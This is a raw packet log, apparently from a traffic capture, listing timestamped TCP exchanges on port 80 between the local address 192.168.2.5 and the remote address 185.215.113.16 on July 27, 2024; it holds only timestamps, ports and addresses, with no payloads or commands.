Jul 27, 2024 12:01:20.958853960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.958858013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.958906889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.958941936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.958951950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.958961964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959043980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959096909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959108114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959120035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959130049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959136963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959136963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959140062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959151030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959161043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959182978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959183931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959323883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959332943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959342957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959367037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959367037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959461927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959471941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959481955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959491968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959502935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.959505081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959505081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959546089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.959546089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.012128115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012156963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012168884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012223005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.012384892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.012568951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012590885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012602091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012613058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012624025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012634993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.012648106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.012648106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.012718916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.036647081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036699057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036710978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036772013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036782980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036792994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036804914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.036880016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.036880016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.036880016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.036880016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.036880016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037067890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037080050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037092924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037123919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037123919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037189007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037201881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037213087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037230968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037230968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037261963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037261963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037353039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037364960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037375927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037388086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037409067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037409067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037476063 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037561893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037589073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037600994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037611961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037622929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037631989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037631989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037635088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037662983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037662983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037725925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037898064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037909031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037919998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037931919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037944078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037954092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037954092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037955999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037972927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037986040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037997961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.037998915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.037998915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.038008928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.038019896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.038039923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.038041115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.038084030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044142962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044156075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044167995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044213057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044213057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044281006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044294119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044306040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044318914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044322014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044352055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044352055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044393063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044431925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044431925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044497967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044509888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044521093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044532061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044543028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044554949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044563055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044563055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044603109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044603109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044781923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044792891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044805050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044836044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044836044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044902086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044914007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044924021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044935942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044944048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044944048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044949055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044961929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044972897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044986010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.044986963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044986963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.044998884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.045027018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.045027018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.045043945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.047868967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047879934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047889948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047899961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047910929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047921896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047933102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047943115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047947884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.047949076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.047957897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047969103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047979116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.047983885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.047983885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048003912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048018932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048018932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048022032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048032999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048043013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048053980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048058033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048058033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048063993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048074007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048084021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048085928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048085928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048096895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048106909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048115969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048125982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048125982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048126936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048137903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048149109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048152924 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048152924 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048158884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048170090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048181057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048191071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048199892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048199892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048228979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048228979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048326015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048336983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048346043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048357010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048367023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048377991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048382044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048382044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048388958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048399925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048410892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048418999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048418999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048423052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048433065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048444033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.048460960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048460960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048504114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.048504114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.098975897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.098989964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099000931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099096060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099106073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099116087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099127054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.099127054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.099127054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099137068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.099148989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.099149942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.099185944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.099185944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123553991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123579025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123590946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123651028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123651028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123718977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123771906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123783112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123794079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.123811960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123811960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123836040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.123836040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124418020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124504089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124504089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124517918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124562979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124562979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124661922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124675035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124686956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124701023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124715090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124730110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124730110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124896049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124907970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124938011 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124938011 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124938011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124952078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124964952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124977112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.124979019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.124979019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125014067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125014067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125174999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125188112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125199080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125241041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125241041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125287056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125299931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125310898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125323057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125334978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125345945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125356913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125358105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125358105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125369072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125381947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125402927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125402927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125880957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125895023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125905991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.125930071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.125930071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.126013041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131280899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131314039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131335020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131354094 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131369114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131382942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131441116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131441116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131501913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131514072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131526947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131556034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131556034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131597996 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131668091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131680012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131690979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131702900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131715059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131726027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131731987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131731987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131798983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.131877899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131975889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131987095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.131998062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132009983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132019043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132019043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132024050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132033110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132057905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132057905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132106066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132265091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132276058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132287025 CEST	80	49705	185.215.113.16	192.168.2.5
